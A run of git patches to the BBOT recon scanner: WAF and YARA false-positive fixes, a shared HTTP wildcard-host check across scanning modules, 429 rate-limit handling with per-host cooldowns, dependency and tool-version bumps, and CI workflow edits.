github.event.comment.body == 'I have read the CLA Document and I hereby sign the CLA') || github.event_name == 'pull_request_target') - uses: contributor-assistant/github-action@v2.6.1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PERSONAL_ACCESS_TOKEN: ${{ steps.app-token.outputs.token }} - with: - path-to-signatures: "signatures/version1/cla.json" - path-to-document: "https://github.com/blacklanternsecurity/CLA/blob/main/ICLA.md" - branch: "main" - allowlist: "dependabot[bot],github-actions[bot],renovate[bot]" - remote-organization-name: "blacklanternsecurity" - remote-repository-name: "CLA" - lock-pullrequest-aftermerge: "false" + cla: + uses: blacklanternsecurity/.github/.github/workflows/cla-reusable.yml@main + secrets: inherit From bda111547807772262db1aef1d737710c5ba8dfd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 21:17:35 -0400 Subject: [PATCH 786/912] Fix WAF filter Apache FP, junk-URL YARA hyphen FP, finish() guard - Remove Apache mod_authz default 403 string from WAF filter - Remove hyphen from YARA junk-URL discriminator character classes - Add isinstance guard for unpaired archive-cache entries in finish() - Fix incorrect excavate docstrings re: archived event URLs --- bbot/core/helpers/misc.py | 1 - bbot/modules/internal/excavate.py | 11 +++++------ bbot/modules/wayback.py | 12 ++++++++---- 3 files changed, 13 insertions(+), 11 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index d84c1d5df8..cbdfd4482e 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2754,7 +2754,6 @@ def get_waf_strings(): return [ "The requested URL was rejected", "This content has been blocked", - "You don't have permission to access ", "The URL you requested has been blocked", "Request unsuccessful. Incapsula incident", "Access Denied - Sucuri Website Firewall", diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index b1cd810ea6..41a9cf8433 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -410,11 +410,11 @@ def _is_archived(self, event): def _event_host(self, event): """Get the effective host from an event. - For archived wayback content, data["host"] contains the original target hostname - (since data["url"] points to archive.org). For regular events, we use event.host. + For archived wayback content, uses data["host"] (the original target hostname). + For regular events, uses event.host. NOTE: Regular HTTP_RESPONSE events also have data["host"], but it contains the - resolved IP from the httpx binary — NOT a hostname override. + resolved IP — NOT a hostname override. """ if self._is_archived(event) and event.data.get("host"): return str(event.data["host"]) @@ -423,9 +423,8 @@ def _event_host(self, event): def _event_base_url(self, event): """Get the effective base URL from an event. - For archived wayback content, reconstructs the original URL from override fields - (host/scheme/port/path) since parsed_url points to archive.org. - For regular events, returns event.parsed_url directly. + For archived wayback content, reconstructs the URL from explicit fields + (host/scheme/port/path). For regular events, returns event.parsed_url directly. """ if not self._is_archived(event): return event.parsed_url diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 3836349d82..620e7b70d3 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -64,11 +64,11 @@ class Config(BaseModuleConfig): _junk_url_yara_rules = { # Per-session bot-manager challenge URLs (Akamai-style randomized paths). # Counts path segments that contain all three of: uppercase, lowercase, - # and digit/underscore/hyphen. The big alternation enumerates the six + # and digit/underscore. The big alternation enumerates the six # possible orderings of those three character classes within a segment. # Threshold of 2 catches every URL in the validation corpus and leaves # CamelCase REST paths (/api/v1/MyController/getStuff) untouched because - # those don't contain a digit or symbol inside the camelCase segment. + # those don't contain a digit or underscore inside the camelCase segment. "akamai_bot_manager_url": r""" rule akamai_bot_manager_url { @@ -79,7 +79,7 @@ class Config(BaseModuleConfig): confidence = "HIGH" strings: - $strict_seg = /\/[A-Za-z0-9_-]*([A-Z][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[0-9_-]|[A-Z][A-Za-z0-9_-]*[0-9_-][A-Za-z0-9_-]*[a-z]|[a-z][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[0-9_-]|[a-z][A-Za-z0-9_-]*[0-9_-][A-Za-z0-9_-]*[A-Z]|[0-9_-][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[a-z]|[0-9_-][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[A-Z])[A-Za-z0-9_-]*/ + $strict_seg = /\/[A-Za-z0-9_-]*([A-Z][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[0-9_]|[A-Z][A-Za-z0-9_-]*[0-9_][A-Za-z0-9_-]*[a-z]|[a-z][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[0-9_]|[a-z][A-Za-z0-9_-]*[0-9_][A-Za-z0-9_-]*[A-Z]|[0-9_][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[a-z]|[0-9_][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[A-Z])[A-Za-z0-9_-]*/ condition: #strict_seg >= 2 @@ -514,7 +514,11 @@ async def finish(self): # build URL list and mapping back to metadata url_metadata = {} - for cleaned_url, (raw_url, parent_event) in list(self._archive_cache.items()): + for cleaned_url, value in list(self._archive_cache.items()): + if not isinstance(value, tuple): + self.debug(f"Skipping unpaired archive entry: {cleaned_url}") + continue + raw_url, parent_event = value ext = get_file_extension(cleaned_url) if ext and ext in skip_extensions: self.debug(f"Skipping archive fetch for {raw_url} (extension: .{ext})") From 826406a9a7c464684150add26fb92cf0a1f63ce7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 21:25:12 -0400 Subject: [PATCH 787/912] Add _cloudcheck_done to __slots__, copy types list, fix csv default type --- bbot/core/event/base.py | 1 + bbot/modules/internal/cloudcheck.py | 2 +- bbot/modules/output/csv.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index d8361f92da..836c7c84c1 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -183,6 +183,7 @@ class BaseEvent: "dns_resolve_distance", # Host metadata (cloud providers, ASN, whois, etc.) "_host_metadata", + "_cloudcheck_done", # Memory management "_module_consumers", # Public attributes diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index 47b124c3f8..21a3d0881c 100644 --- a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -243,7 +243,7 @@ def _inherit_cloud_tags(self, event, hosts_to_check): for provider_name, info in cloud_providers.items(): # fresh dict — never share parent's inner objects my_cloud_providers[provider_name] = { - "types": info.get("types", []), + "types": list(info.get("types", [])), "match": match_type, } event.add_tag(provider_name) diff --git a/bbot/modules/output/csv.py b/bbot/modules/output/csv.py index 3a30650b53..c8187e3a9a 100644 --- a/bbot/modules/output/csv.py +++ b/bbot/modules/output/csv.py @@ -62,7 +62,7 @@ async def handle_event(self, event): "Event type": getattr(event, "type", ""), "Event data": getattr(event, "data", ""), "IP Address": ",".join( - str(x) for x in getattr(event, "resolved_hosts", set()) if self.helpers.is_ip(x) + str(x) for x in getattr(event, "resolved_hosts", frozenset()) if self.helpers.is_ip(x) ), "Source Module": str(getattr(event, "module_sequence", "")), "Scope Distance": str(getattr(event, "scope_distance", "")), From c225d62d63c997e04b9ed5a60d581349968ea084 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 22:11:32 -0400 Subject: [PATCH 788/912] Fix version updater workflow for pydantic config format --- .github/workflows/version_updater.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index e3d6237d2c..f9adcc994e 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -36,12 +36,12 @@ jobs: - name: Get current version id: get-current-version run: | - version=$(grep -m 1 -oP '(?<=version": ")[^"]*' bbot/modules/nuclei.py) + version=$(grep -m 1 -oP '(?<=Field\(")[^"]*' bbot/modules/nuclei.py) echo "current_version=$version" >> $GITHUB_ENV - name: Update version id: update-version if: env.latest_version != env.current_version - run: "sed -i '0,/\"version\": \".*\",/ s/\"version\": \".*\",/\"version\": \"${{ env.latest_version }}\",/g' bbot/modules/nuclei.py" + run: "sed -i '0,/Field(\"[^\"]*\",/ s/Field(\"[^\"]*\",/Field(\"${{ env.latest_version }}\",/' bbot/modules/nuclei.py" - name: Create pull request to update the version if: steps.update-version.outcome == 'success' uses: peter-evans/create-pull-request@v8 @@ -88,12 +88,12 @@ jobs: - name: Get current version id: get-current-version run: | - version=$(grep -m 1 -oP '(?<=version": ")[^"]*' bbot/modules/trufflehog.py) + version=$(grep -m 1 -oP '(?<=Field\(")[^"]*' bbot/modules/trufflehog.py) echo "current_version=$version" >> $GITHUB_ENV - name: Update version id: update-version if: env.latest_version != env.current_version - run: "sed -i '0,/\"version\": \".*\",/ s/\"version\": \".*\",/\"version\": \"${{ env.latest_version }}\",/g' bbot/modules/trufflehog.py" + run: "sed -i '0,/Field(\"[^\"]*\",/ s/Field(\"[^\"]*\",/Field(\"${{ env.latest_version }}\",/' bbot/modules/trufflehog.py" - name: Create pull request to update the version if: steps.update-version.outcome == 'success' uses: peter-evans/create-pull-request@v8 From 75829096309de883f07bf31042a5cf2c900e84a6 Mon Sep 17 00:00:00 2001 From: blsaccess Date: Sat, 13 Jun 2026 02:18:29 +0000 Subject: [PATCH 789/912] Update nuclei --- bbot/modules/nuclei.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 718ebe8d52..1288f988d6 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -21,7 +21,7 @@ class nuclei(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.8.0", description="nuclei version") + version: str = Field("3.9.0", description="nuclei version") tags: str = Field("", description="execute a subset of templates that contain the provided tags") templates: str = Field("", description="template or template directory paths to include in the scan") severity: str = Field("", description="Filter based on severity field available in the template.") From 56316cf00205c8732bed02117315d2fb75be5776 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 22:41:04 -0400 Subject: [PATCH 790/912] Update pyjwt to 2.13.0 in uv.lock --- uv.lock | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index ecf3416166..383565eb75 100644 --- a/uv.lock +++ b/uv.lock @@ -2168,11 +2168,14 @@ wheels = [ [[package]] name = "pyjwt" -version = "2.11.0" +version = "2.13.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/5c/5a/b46fa56bf322901eee5b0454a34343cdbdae202cd421775a8ee4e42fd519/pyjwt-2.11.0.tar.gz", hash = "sha256:35f95c1f0fbe5d5ba6e43f00271c275f7a1a4db1dab27bf708073b75318ea623", size = 98019, upload-time = "2026-01-30T19:59:55.694Z" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6f/01/c26ce75ba460d5cd503da9e13b21a33804d38c2165dec7b716d06b13010c/pyjwt-2.11.0-py3-none-any.whl", hash = "sha256:94a6bde30eb5c8e04fee991062b534071fd1439ef58d2adc9ccb823e7bcd0469", size = 28224, upload-time = "2026-01-30T19:59:54.539Z" }, + { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" }, ] [[package]] From 6ec615b438fc0feb0923a7d1b6e3f3939dad57fb Mon Sep 17 00:00:00 2001 From: aconite33 Date: Fri, 12 Jun 2026 20:48:59 -0600 Subject: [PATCH 791/912] Replace CLA workflow with reusable workflow from CLA repo Points at blacklanternsecurity/CLA instead of the .github repo to avoid the double .github path resolution issue. Fixes org members being falsely flagged on external contributor PRs. --- .github/workflows/cla.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index 1c0a1b7c82..bc28e132f0 100644 --- a/.github/workflows/cla.yml +++ b/.github/workflows/cla.yml @@ -5,7 +5,11 @@ on: pull_request_target: types: [opened, closed, synchronize] +permissions: + pull-requests: write + statuses: write + jobs: cla: - uses: blacklanternsecurity/.github/.github/workflows/cla-reusable.yml@main + uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@main secrets: inherit From 8286bc0428b040f8edb64f90a19e9075e263994f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 13 Jun 2026 10:09:19 -0400 Subject: [PATCH 792/912] Bump trufflehog to 3.95.5, stop removing .git/index in sanitize_git_repo --- bbot/core/helpers/git.py | 6 ++---- bbot/modules/trufflehog.py | 2 +- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/git.py b/bbot/core/helpers/git.py index 2e00d1bc17..0f522b0f83 100644 --- a/bbot/core/helpers/git.py +++ b/bbot/core/helpers/git.py @@ -7,10 +7,8 @@ def sanitize_git_repo(repo_folder: Path): config_file = repo_folder / ".git" / "config" if config_file.exists(): config_file.rename(repo_folder / "git_config_original") - # move the index file - index_file = repo_folder / ".git" / "index" - if index_file.exists(): - index_file.rename(repo_folder / "git_index_original") + # leave .git/index in place -- it's binary metadata (filename-to-SHA mappings), + # not a security risk, and removing it breaks tools that need to clone the repo # move the hooks folder hooks_folder = repo_folder / ".git" / "hooks" if hooks_folder.exists(): diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 2002cd7adf..8df8f5b57a 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.90.8", description="trufflehog version") + version: str = Field("3.95.5", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 9846f95cd491880b12067ee5f0713ed0a65f3051 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 14 Jun 2026 04:42:41 +0000 Subject: [PATCH 793/912] Bump ruff from 0.15.16 to 0.15.17 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.16 to 0.15.17. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.16...0.15.17) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.17 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c401cc7999..205df577bd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.0", - "ruff==0.15.16", + "ruff==0.15.17", "maturin>=1.4,<2", ] docs = [ From b3cc9fe55b9c9fa50ad46b9f1847453c2761ae86 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 14 Jun 2026 11:56:26 -0400 Subject: [PATCH 794/912] Centralize HTTP wildcard host check, gate lightfuzz + paramminer Add _is_http_wildcard_host() helper on BaseModule and convert all five consumers (excavate, wayback, webbrute, lightfuzz, paramminer) to use it instead of duplicating the scheme/host/port extraction inline. --- bbot/modules/base.py | 23 ++++++++++++ bbot/modules/internal/excavate.py | 10 +----- bbot/modules/lightfuzz/lightfuzz.py | 3 ++ bbot/modules/paramminer_headers.py | 3 ++ bbot/modules/wayback.py | 6 ++-- bbot/modules/webbrute.py | 10 ++---- .../module_tests/test_module_lightfuzz.py | 35 +++++++++++++++++++ .../test_module_paramminer_headers.py | 24 +++++++++++++ 8 files changed, 93 insertions(+), 21 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index f6d94d027e..86c3b1efe5 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -939,6 +939,29 @@ async def _event_postcheck_inner(self, event): return True, "" + async def _is_http_wildcard_host(self, event): + """Check whether the event's host is an HTTP wildcard responder. + + Extracts scheme/host/port from the event's parsed_url when available, + otherwise falls back to ``event.host`` with https/443. Returns True + (wildcard), False (not wildcard), or None (probe failed / no host). + """ + p = getattr(event, "parsed_url", None) + if p is not None and p.hostname: + host = p.hostname + port = p.port or (443 if p.scheme == "https" else 80) + scheme = p.scheme + elif event.host: + host = str(event.host) + port = 443 + scheme = "https" + else: + return None + result = await self.helpers.is_http_wildcard_host(scheme, host, port) + if result in (False, None): + return result + return True + def _scope_distance_check(self, event): # Seeds bypass scope distance checks if self.accept_seeds and "seed" in event.tags: diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index aa943c6c7f..77392b49c8 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -412,15 +412,7 @@ def _is_archived(self, event): async def _host_is_http_wildcard(self, event): """True if this event's host is an HTTP wildcard responder.""" - p = getattr(event, "parsed_url", None) - if p is None: - return False - host = p.hostname - if not host: - return False - port = p.port or (443 if p.scheme == "https" else 80) - http_wildcard = await self.helpers.is_http_wildcard_host(p.scheme, host, port) - return http_wildcard not in (False, None) + return await self._is_http_wildcard_host(event) is True def _event_host(self, event): """Get the effective host from an event. diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 1e4e3bb017..a2a3b71c5e 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -366,6 +366,9 @@ async def finish(self): self.debug(f"Error in interact.sh: {e}") async def filter_event(self, event): + if await self._is_http_wildcard_host(event) is True: + return False, "host is an HTTP wildcard responder" + # Unless configured specifically to do so, avoid running against confirmed WAFs if self.avoid_wafs and "waf" in event.tags: # Use parsed_url.geturl() for both URL and WEB_PARAMETER events diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index dc7379738a..eb86134785 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -329,6 +329,9 @@ async def finish(self): await self.process_results(event, results) async def filter_event(self, event): + if await self._is_http_wildcard_host(event) is True: + return False, "host is an HTTP wildcard responder" + # Filter out static endpoints ext = getattr(event, "url_extension", None) if ext and ext in self.scan.config.get("url_extension_static", []): diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index c8bcf3e682..048e5422a4 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -170,10 +170,8 @@ async def handle_event(self, event): await self._handle_url_event(event) return - host = str(event.host) - http_wildcard = await self.helpers.is_http_wildcard_host("https", host, 443) - if http_wildcard not in (False, None): - self.debug(f"Skipping wayback query for {host}: HTTP wildcard responder") + if await self._is_http_wildcard_host(event) is True: + self.debug(f"Skipping wayback query for {event.host}: HTTP wildcard responder") return query = self.make_query(event) diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index b0c627ea90..9f522848ce 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -102,14 +102,8 @@ async def filter_event(self, event): if "endpoint" in event.tags: self.debug(f"rejecting URL [{event.url}] because we don't fuzz endpoints") return False - p = event.parsed_url - scheme = p.scheme - host = p.hostname - port = p.port or (443 if scheme == "https" else 80) - if host: - http_wildcard = await self.helpers.is_http_wildcard_host(scheme, host, port) - if http_wildcard not in (False, None): - return False, "host is an HTTP wildcard responder" + if await self._is_http_wildcard_host(event) is True: + return False, "host is an HTTP wildcard responder" return True def _build_batch_headers(self): diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index e0f00e5212..e9cc38b87d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -5354,3 +5354,38 @@ def check(self, module_test, events): f"Only {self.__class__._request_count['connectivity']} connectivity request(s) made -- " f"expected retry after transient failure" ) + + +class TestLightfuzzWildcardSkip(ModuleTestBase): + """When the host is an HTTP wildcard, lightfuzz should skip fuzzing entirely.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": {"lightfuzz": {"enabled_submodules": ["sqli"]}}, + } + + async def setup_before_prep(self, module_test): + respond_args = { + "response_data": '
    ', + "status": 200, + } + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args=respond_args, + ) + + async def setup_after_prep(self, module_test): + async def mock_wildcard(scheme, host, port): + return True + + module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING" and str(e.module) == "lightfuzz"] + web_params_fuzzed = [e for e in events if e.type == "WEB_PARAMETER" and "lightfuzz" in str(e.module).lower()] + assert len(findings) == 0, f"lightfuzz should not fuzz wildcard hosts, but emitted findings: {findings}" + assert len(web_params_fuzzed) == 0, ( + f"lightfuzz should not fuzz wildcard hosts, but processed params: {web_params_fuzzed}" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py index 6ebcb38cd3..17b353d58c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py @@ -197,3 +197,27 @@ def check(self, module_test, events): assert found_web_parameter, "WEB_PARAMETER event was not emitted" assert not found_web_parameter_false_positive, "WEB_PARAMETER event was emitted with false positive" + + +class TestParamminerHeadersWildcardSkip(ModuleTestBase): + """When the host is an HTTP wildcard, paramminer_headers should skip fuzzing entirely.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "paramminer_headers"] + config_overrides = {"modules": {"paramminer_headers": {"wordlist": tempwordlist(["tracestate"])}}} + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": "hello"}, + ) + + async def setup_after_prep(self, module_test): + async def mock_wildcard(scheme, host, port): + return True + + module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard + + def check(self, module_test, events): + web_params = [e for e in events if e.type == "WEB_PARAMETER" and str(e.module) == "paramminer_headers"] + assert len(web_params) == 0, f"paramminer_headers should not fuzz wildcard hosts, but emitted: {web_params}" From b1f2f8ea0cf4aca96e2c45f0bf2c5d282f6305c8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 15:09:49 -0400 Subject: [PATCH 795/912] http: add 429 rate-limit handling with host-level cooldowns When a batch response returns 429, defer the event and set a per-host cooldown using the Retry-After header (or 30s default). Re-queue after cooldown expires via is_incoming_duplicate bypass. Give up after 3 retries per URL. --- bbot/modules/http.py | 100 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 98 insertions(+), 2 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 907947dcd5..6a14c56d2a 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -1,3 +1,4 @@ +import time from http.cookies import SimpleCookie from urllib.parse import urlparse @@ -38,6 +39,12 @@ async def setup(self): self.store_responses = self.config.get("store_responses", False) self.client = self.helpers.blasthttp self.waf_yara_rule = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True) + self._host_cooldowns = {} + self._deferred_events = [] + self._429_retry_counts = {} + self._max_429_retries = 3 + self._429_default_interval = self.scan.web_config.get("429_sleep_interval", 30) + self._429_max_interval = self.scan.web_config.get("429_max_sleep_interval", 60) return True async def filter_event(self, event): @@ -86,6 +93,68 @@ def _incoming_dedup_hash(self, event): urls, url_hash = self.make_url_metadata(event) return url_hash + @property + def finished(self): + if self._deferred_events: + return False + return super().finished + + def is_incoming_duplicate(self, event, add=False): + if getattr(event, "_429_retry", False): + event._429_retry = False + return False, "429 retry" + return super().is_incoming_duplicate(event, add=add) + + def _host_is_cooled_down(self, host): + return time.monotonic() < self._host_cooldowns.get(host, 0) + + def _set_host_cooldown(self, host, seconds): + resume_time = time.monotonic() + seconds + self._host_cooldowns[host] = max(self._host_cooldowns.get(host, 0), resume_time) + + def _parse_retry_after(self, response): + for k, v in response.headers.items(): + if k.lower() == "retry-after": + try: + seconds = max(1, int(v)) + return min(seconds, self._429_max_interval) + except ValueError: + pass + break + return self._429_default_interval + + def _defer_event(self, event): + self._deferred_events.append(event) + + async def _flush_deferred(self): + if not self._deferred_events or self.incoming_event_queue is False: + return + still_deferred = [] + flushed = 0 + earliest_resume = None + for event in self._deferred_events: + host = str(event.host) + resume_time = self._host_cooldowns.get(host, 0) + if time.monotonic() >= resume_time: + event._429_retry = True + self.incoming_event_queue.put_nowait(event) + flushed += 1 + else: + still_deferred.append(event) + if earliest_resume is None or resume_time < earliest_resume: + earliest_resume = resume_time + self._deferred_events = still_deferred + if flushed: + async with self.event_received: + self.event_received.notify() + if still_deferred and earliest_resume is not None: + delay = max(0.1, earliest_resume - time.monotonic()) + self.helpers.create_task(self._deferred_wakeup(delay)) + + async def _deferred_wakeup(self, delay): + await self.helpers.sleep(delay) + await self._flush_deferred() + def _build_headers(self): """Build list of (name, value) header tuples from scan config.""" headers = [("User-Agent", self.scan.useragent)] @@ -182,6 +251,10 @@ async def handle_batch(self, *events): for event in events: urls, url_hash = self.make_url_metadata(event) + host = str(event.host) + if self._host_is_cooled_down(host): + self._defer_event(event) + continue for url in urls: stdin[url] = event if event.type == "OPEN_TCP_PORT": @@ -199,6 +272,10 @@ async def handle_batch(self, *events): paired_probe_urls[schemes["https"]] = key if not stdin: + if self._deferred_events: + earliest = min(self._host_cooldowns.get(str(e.host), 0) for e in self._deferred_events) + delay = max(0.1, earliest - time.monotonic()) + self.helpers.create_task(self._deferred_wakeup(delay)) return headers = self._build_headers() @@ -233,9 +310,25 @@ async def resolve_https(key, result): await self._process_result(result, stdin[result.url]) async for result in iter_batch_results(self.client.request_batch_stream(configs, concurrency=self.threads)): + if result.success and result.response is not None and result.response.status == 429: + url = result.url + host = urlparse(url).hostname + retry_count = self._429_retry_counts.get(url, 0) + 1 + self._429_retry_counts[url] = retry_count + if retry_count <= self._max_429_retries: + retry_after = self._parse_retry_after(result.response) + self._set_host_cooldown(host, retry_after) + self._defer_event(stdin[url]) + self.verbose( + f"429 from {host} ({url}), cooling down {retry_after}s (attempt {retry_count}/{self._max_429_retries})" + ) + continue + else: + self.warning(f"429 from {url} after {self._max_429_retries} retries, giving up") + key = paired_probe_urls.get(result.url) if key is None: - # Non-paired URL — emit immediately + # Non-paired URL -- emit immediately parent_event = stdin.get(result.url) if parent_event is None: self.warning(f"Unable to correlate parent event for: {result.url}") @@ -259,6 +352,9 @@ async def resolve_https(key, result): else: deferred_https[key] = result - # Stream ended — any leftover https had no http result, so emit unconditionally + # Stream ended -- any leftover https had no http result, so emit unconditionally for key, result in deferred_https.items(): await self._process_result(result, stdin[result.url]) + + if self._deferred_events: + await self._flush_deferred() From dfc98f1e0bd1b2a72349551b04a797f09d44cd2b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 15:36:53 -0400 Subject: [PATCH 796/912] Fix 429 handler: dedup deferral, wakeup guard, per-event retry count, drop exhausted 429s - Exhausted-retry 429s now skip processing instead of emitting as scan results - _defer_event deduplicates to prevent double-deferral from paired probes - _wakeup_pending flag prevents accumulation of redundant wakeup tasks - Retry count keyed by event hash instead of URL (OPEN_TCP_PORT gets 3 retries total) - Retry count entries cleaned up after max retries - Add TestHTTP_429_retry and TestHTTP_429_max_retries --- bbot/modules/http.py | 38 +++++++++----- .../module_tests/test_module_http.py | 52 +++++++++++++++++++ 2 files changed, 76 insertions(+), 14 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 6a14c56d2a..12baa4b80e 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -45,6 +45,7 @@ async def setup(self): self._max_429_retries = 3 self._429_default_interval = self.scan.web_config.get("429_sleep_interval", 30) self._429_max_interval = self.scan.web_config.get("429_max_sleep_interval", 60) + self._wakeup_pending = False return True async def filter_event(self, event): @@ -124,7 +125,10 @@ def _parse_retry_after(self, response): return self._429_default_interval def _defer_event(self, event): - self._deferred_events.append(event) + if event not in self._deferred_events: + self._deferred_events.append(event) + return True + return False async def _flush_deferred(self): if not self._deferred_events or self.incoming_event_queue is False: @@ -147,12 +151,14 @@ async def _flush_deferred(self): if flushed: async with self.event_received: self.event_received.notify() - if still_deferred and earliest_resume is not None: + if still_deferred and earliest_resume is not None and not self._wakeup_pending: delay = max(0.1, earliest_resume - time.monotonic()) + self._wakeup_pending = True self.helpers.create_task(self._deferred_wakeup(delay)) async def _deferred_wakeup(self, delay): await self.helpers.sleep(delay) + self._wakeup_pending = False await self._flush_deferred() def _build_headers(self): @@ -272,9 +278,10 @@ async def handle_batch(self, *events): paired_probe_urls[schemes["https"]] = key if not stdin: - if self._deferred_events: + if self._deferred_events and not self._wakeup_pending: earliest = min(self._host_cooldowns.get(str(e.host), 0) for e in 